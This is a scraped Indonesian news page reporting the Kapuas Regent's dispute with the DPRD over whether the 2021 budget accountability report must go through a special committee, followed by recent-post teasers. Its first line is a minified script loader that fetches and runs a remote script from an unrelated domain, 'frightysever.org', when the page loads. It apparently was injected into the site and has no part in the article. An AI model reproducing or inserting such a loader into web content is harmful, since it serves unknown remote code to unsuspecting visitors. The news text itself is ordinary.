(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Bupati Kapuas: Pertanggungjawaban APBD Tidak Selalu Melalui Pembahasan Pansus DPRD


KANALKALIMANTAN.COM, KUALA KAPUAS – Bupati Kapuas Ir Ben Brahim S Bahat menegaskan pertanggungjawaban pelaksanaan Anggaran Pendapatan dan Belanja Daerah (APBD) tidak selalu melalui mekanisme pembahasan melalui Panitia Khusus (Pansus) DPRD.

Sanggahan ini disampaikan Bupati Kapuas melalui surat dengan Nomor: 14/TPAD KPS/VII/2022 yang ditujukan kepada Ketua DPRD Kapuas perihal mekanisme pembahasan Rancangan Peraturan Daerah (Raperda) tentang pertanggungjawaban pelaksanaan APBD Kabupaten Kapuas tahun anggaran 2021.

Dalam surat yang didukung Tim Anggaran Pemerintah Daerah (TAPD) tersebut, Bupati Kapuas menyampaikan dua poin yang sifatnya penting kepada DPRD Kabupaten Kapuas.

Pertama berdasarkan ketentuan Peraturan Pemerintah Nomor 12 Tahun 2019 tentang Pengelolaan Keuangan Daerah dan Peraturan Menteri Dalam Negeri Nomor 77 tahun 2020 tentang pedoman teknis pengelolaan keuangan daerah dan sesuai hasil koordinasi dengan Direktorat Pelaksana dan Pertanggungjawaban Keuangan Ditjen Keuda Kementerian Dalam Negeri melalui zoom meeting bahwa proses mekanisme dan tahapan perencanaan, pelaksanaan penatausahaan, pelaporan dan pertanggungjawaban APBD tidak selalu mengatur mekanisme pembahasan melalui Pansus DPRD.

 

Baca juga  : Lapas Kelas II A Kotabaru Siap Laksanakan Kunjungan Tatap Muka

Kedua, disinggung pula terkait pelaksanaan fungsi pengawasan dewan sebagaimana dimaksud Peraturan Menteri Dalam Negeri Nomor 13 Tahun 2010 tentang pedoman pelaksanaan fungsi pengawasan DPRD terhadap tindak lanjut hasil pemeriksaan Badan Pemeriksa Keuangan (BPK) hanya mengatur pembentukan panitia kerja, dalam rangka pembahasan atas laporan pemeriksaan BPK apabila opini di bawah Wajar Tanpa Pengecualian (WTP), sedangkan opini BPK atas LKPD Kabupaten Kapuas tahun 2021 adalah Wajar Tanpa Pengecualian (WTP) sebanyak 6 kali berturut-turut.

“Karena itu, didukung seluruh TAPD Pemkab Kapuas berharap kepada DPRD Kabupaten Kapuas untuk mencermati lebih jauh, memahami kondisi dan muatan laporan secara keseluruhan,” ujar Bupati Ben Brahim, Rabu (6/7/2022).

Lebih lanjut, Bupati Ben Brahim juga menjelaskan, bentuk pertanggungjawaban pelaksanaan APBD adalah Laporan Keuangan Pemerintah Daerah (LKPD) yang kredibilitasnya tercermin dari hasil audit BPK ditujukan untuk memberikan opini atas kewajaran laporan keuangan Pemkab Kapuas tahun anggaran 2021.

Tentu dengan memperhatikan kesesuaian Standar Akuntabilitasi Pemerintah (SAP), kecukupan pengungkapan, kepatuhan terhadap perundang-undangan, dan efektivitas sistem pengendalian intern.

 

Baca juga  : Puluhan Wartawan Hadiri Panggilan Kejari Balangan

“Hasil audit BPK RI terhadap laporan keuangan Pemerintah Kabupaten Kapuas tahun anggaran 2021, kerja sama yang baik dari semua pihak yang telah melaksanakan tugas dengan sungguh-sungguh dan rasa penuh tanggung jawab, mendapatkan kembali kualifikasi opini Wajar Tanpa Pengecualian dari BPK RI yang enam kalinya secara berturut-turut,” jelasnya.

Karenanya, Pemkab Kapuas mengucapkan banyak terima kasih dan penghargaan setinggi-tingginya kepada semua pihak yang terus mengupayakan peningkatan kualitas pengelolaan keuangan daerah. Terutama kemampuan menyelaraskan WTP dengan peningkatan kinerja di semua aspek pelayanan kepada masyarakat.

WTP merupakan upaya penyampaian kepada publik tentang akuntabilitas dalam penggelolaan keuangan daerah. Namun, ke depan kualitas anggaran bukan hanya berpedoman pada audit BPK saja, tetapi lebih menitikberatkan kepada kualitas perencanaan dari anggaran tersebut. Sehingga dapat memberikan manfaat lebih banyak lagi bagi kesejahteraan masyarakat.

“Dengan pencapaian opini tersebut menjadi penyemangat kami untuk terus mempertahankannya dan selanjutnya dibutuhkan sebuah komitmen bersama mempertahankan kualifikasi opini yang diraih agar dapat terwujud pemerintahan bersih dan tata kelola kepemerintahan yang baik terkait pengelolaan keuangan secara komprehensip dan berkesinambungan,” tandasnya. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

28 menit ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

32 menit ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

2 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

2 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

16 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

19 jam ago

This website uses cookies.